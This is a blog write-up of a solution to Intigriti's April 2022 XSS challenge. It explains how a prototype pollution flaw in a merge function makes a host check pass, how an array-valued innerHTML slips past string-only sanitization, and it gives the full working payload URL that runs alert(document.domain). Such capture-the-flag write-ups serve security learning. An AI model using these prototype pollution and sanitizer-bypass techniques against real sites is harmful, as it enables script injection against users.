For a while now, the monthly XSS challenge from Intigriti is one of my favorite appointment: every month I make sure to have at least a good look at it. Some months there are clues on the code that click with me and some months the code really does not click. For this month’s challenge, the code clicked!
I am going to anticipate the solution, which looks like this:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][innerHTML][]=%3Ciframe%20src%3Djavascript:alert(document.domain)%3E%3C/iframe%3E&settings[root][vnodes]
Table of contents
Requirements for the solution from Intigriti
- Should work on the latest version of Chrome and Firefox.
- Should execute alert(document.domain).
- Should leverage a cross-site scripting vulnerability on this domain.
- Shouldn’t be self-XSS or related to MiTM attacks.
- Should be reported at go.intigriti.com/submit-solution.
- Should require no user interaction.
Investigating the problem
From the HTML we can see that:
- Mithril is used as a framework to build and parse the URL parameters and render the views
- by Mithril is possible to define URL parameters as representations of arrays and objects
- there is a function
checkHost
as a condition to run a second merge - there is a function
merge
that blacklists a few keys butconstructor
andprototype
- there is a function
sanitize
that runs sanitization only for items that are strings
Trying to inject HTML as the window’s title or content, no effect is sorted: Mithril will inject any HTML from those fields as a string (text node) so nothing to do there.
The challenge is composed of two barriers:
1) the function checkHost
returns true if the code runs on localhost or on the port 8080, so only when the host is a development server: we need it to return true to unlock the merge for the object qs.settings
if (checkHost()) {
devSettings["isTestHostOrPort"] = true
merge(devSettings, qs.settings)
}
2) the merge above will let us write the dom element main
:
devSettings["root"] = document.createElement('main')
Working on the solution
Checking the function checkHost
:
function checkHost() {
const temp = location.host.split(':')
const hostname = temp[0]
const port = Number(temp[1]) || 443
return hostname === 'localhost' || port === 8080
}
the variable temp
has value ['challenge-0422.intigriti.io']
which is a list of length one; on line 4, port
looks for a value on index 1 but there is no index 1.
We know that in JS, an object looks for a property within its own and if that is not found, goes looking in the prototype. If we could add to the Array’s prototype the property 1, that would become the value of the variable port
on line 4.
The function merge
merges the data structures defined in the code with the ones defined by the URL parameters and it does not blacklist constructor
and prototype
: after some playing with the parameters on the URL, these ones succeed in writing the prototype for Array
:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080
See what happened in the browser console:

The bit above leads to the second barrier of the challenge: we want to write the innerHTML
for the main
dom element. We can use the same trick as above to target the innerHTML
by a URL parameter, this was my first attempt:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?settings[root][innerHTML]=test
Problem: Mithril has a virtual node set for the main dom element, which will override the HTML that we set. In fact, the rendering from Mithril happens after the merge. At this point to be honest I was not sure how to proceed: I was directing my tests in checking if, by touching the object vnodes
from the main
dom element, the rendering from Mithril could have been impacted.

Came out that this works:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][innerHTML]=test&settings[root][vnodes]
I am not 100% sure of why (!), my guess: we do write the vnodes
object when it is still “empty”, so there is no HTML that will override our HTML. Mithril realizes that the object vnodes was updated already, so does not override it and that makes our HTML (the one that we set by the innerHTML) the final one. That bit was the most confused for me in the whole challenge.
Final bit: to bypass the sanitization we make an array of the innerHTML, like this: &settings[root][innerHTML][]
It will be parsed as a list of chars and correctly added as value to the innerHTML. Then we use any payload to print the alert, to become the innerHTML value, getting to the final solution:
https://challenge-0422.intigriti.io/challenge/Window%20Maker.html?config[window-toolbar][constructor][prototype][1]=8080&settings[root][innerHTML][]=%3Ciframe%20src%3Djavascript:alert(document.domain)%3E%3C/iframe%3E&settings[root][vnodes]
That makes it!
Thank you for reading and thank you to Intigriti for all the fun!!!
And this is the mention of this post from the Intigriti Twitter account:
https://twitter.com/intigriti/status/1518555115740966912
(that I am sharing just for proud! <3)